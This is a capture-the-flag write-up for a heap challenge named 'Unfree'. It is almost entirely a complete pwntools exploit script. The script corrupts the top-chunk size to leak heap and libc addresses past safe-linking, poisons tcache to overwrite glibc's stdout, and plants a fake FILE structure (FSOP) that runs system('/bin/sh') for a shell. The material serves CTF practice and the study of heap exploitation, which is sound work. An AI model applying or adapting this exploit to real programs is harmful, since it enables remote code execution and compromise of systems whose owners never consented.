Unfree
This is an amazing challenge where you don’t have a free function and an overflow, so you need to overflow and get a leak by overwriting the top chunk, forcing a previous chunk to be freed, leaking data, and then using FSOP to get RCE. Really nice heap challenge.
#!/usr/bin/env python3
from pwn import *
elf = ELF("./unfree_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
b main
continue
'''
def start():
if args.REMOTE:
return remote("127.0.0.1", 1337)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val): log.info(name+" = %#x" % val)
def sa(delim,data): return r.sendafter(delim,data)
def sla(delim,line): return r.sendlineafter(delim,line)
def sl(line): return r.sendline(line)
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
# return data between d1 and d2
if (d2):
return r.recvuntil(d2,drop=True)
#========= exploit here ===================
#wrappers
r.timeout = 0.3
def alloc(idx, size, data):
sl(b"1")
sla(b"to add", f"{idx}".encode('ascii'))
sla(b"size", f"{size}".encode('ascii'))
sa(b"data:", data)
rcu(b"0. Exit\n")
return idx
def edit(idx, data):
sl(b"2")
sla(b"index to edit", f"{idx}".encode('ascii'))
sa(b"data:", data)
rcu(b"0. Exit")
def read_note(idx):
r.sendline(b"3")
r.sendlineafter(b"index to read", f"{idx}".encode('ascii'))
r.recvline()
def quit_exit():
sl(b"0")
#doing the heap
alloc(0, 0x28, b"A"*0x28+p64(0xd41))
alloc(1, 0xbe8, "BBBBBBBB")
alloc(2, 0x28, b"CCCCCCCC")# last chnuk on the current heap space that we will use to leak
alloc(3, 0x118, b"DDDDDDDD") #this chunk will go into the "new space of the heap"
edit(2, b"A"*0x28+b"dpladpla")
#heap leak
read_note(2)
rcu(b"dpladpla")
#
leak1 = u64(r.recvline().strip().ljust(8, b"\x00"))
rcu(b"Exit\n")
logleak("leak mangled ptr", leak1)
#shift by 12 because of safe linking
heap1 = leak1 << 12
logleak("1st heap", heap1)
##restore chunk 2
edit(2, b"B"*0x28+p64(0x101)) #edit this back again to proper size of the nextr chunk
#we do the same trick again in the new heap space to get us a second leak
alloc(4,0x28,b"X"*0x28+p64(0xeb1)) #whis will go after chunk 3 in the new heap space
alloc(5,0xd58,"YYYYYYYYY") # fill space
alloc(6,0x28,"CCCCCCCC") #to leak2
alloc(7,0x118,"ZZZZZZZZZ")#actual leak since it will clear more heap space again
#
edit(6,b"C"*0x28+b"leakleak")
read_note(6)
rcu(b"leakleak")
leak2 = u64(r.recvline().strip().ljust(8, b"\x00"))
rcu(b"Exit\n")
logleak("leak mangled ptr 2", leak2)
#0xef0 = offset to leak2 ptr
heap2 = ((heap1+0xef0) ^ leak2) << 12
logleak("2nd heap", heap2)
#restore
edit(6,b"D"*0x28+p64(0x101))
#libc leak
alloc(8,0x28,b"E"*0x28+p64(0xeb1))
alloc(9,0xec8,"leaked")
edit(8,b"E"*0x28+b"leakleak")
read_note(8)
leak3 = u64(rcu(b"leakleak",b"\n").ljust(8,b"\x00"))
rcu(b"Exit\n")
logleak("libc leak", leak3)
libc.address = leak3 - 0x203b20
logbase()
_IO_list_all = libc.address+0x2044c0
log.info(f"_IO_list_all = {hex(_IO_list_all)}")
#RCE trough FSOP
#change back size on chunk 9 trough chunk 8 to "restore" the heap
edit(8,b"F"*0x28+p64(0xe91))
edit(6, b"G"*0x28+p64(0x101)+p64(libc.sym._IO_2_1_stdout_ ^ (heap2>>12)))
alloc(10,0xf8, b"HHHHHHHH")
##breaks
log.info(f"break in = {hex(libc.address+0x961d3)}")
log.info(f"break in _IO_wdallocbuf = {hex(libc.address+0x8cee8)}")
gadget = libc.address + 0x00000000001724f0# add rdi, 0x10; jmp rcx;
stdout_lock = libc.address + 0x205710 # _IO_stdfile_1_lock (symbol not exported)
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
log.info(f"gadget2 = {hex(gadget)}")
log.info(f"_IO_2_1_stdout_ = {hex(libc.sym._IO_2_1_stdout_)}")
fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end=libc.sym['system']# the function that we will call: system()
fake._IO_save_base = p64(gadget)
fake._IO_write_end=u64(b'/bin/sh\x00')# will be at rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200 # _wide_data just need to points to empty zone
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
print(f"len fake {hex(len(fake))}")
pause()
#write the fake Filestructuire into stdout
alloc(11,0xf8, bytes(fake))
#========= interactive ====================
r.interactive()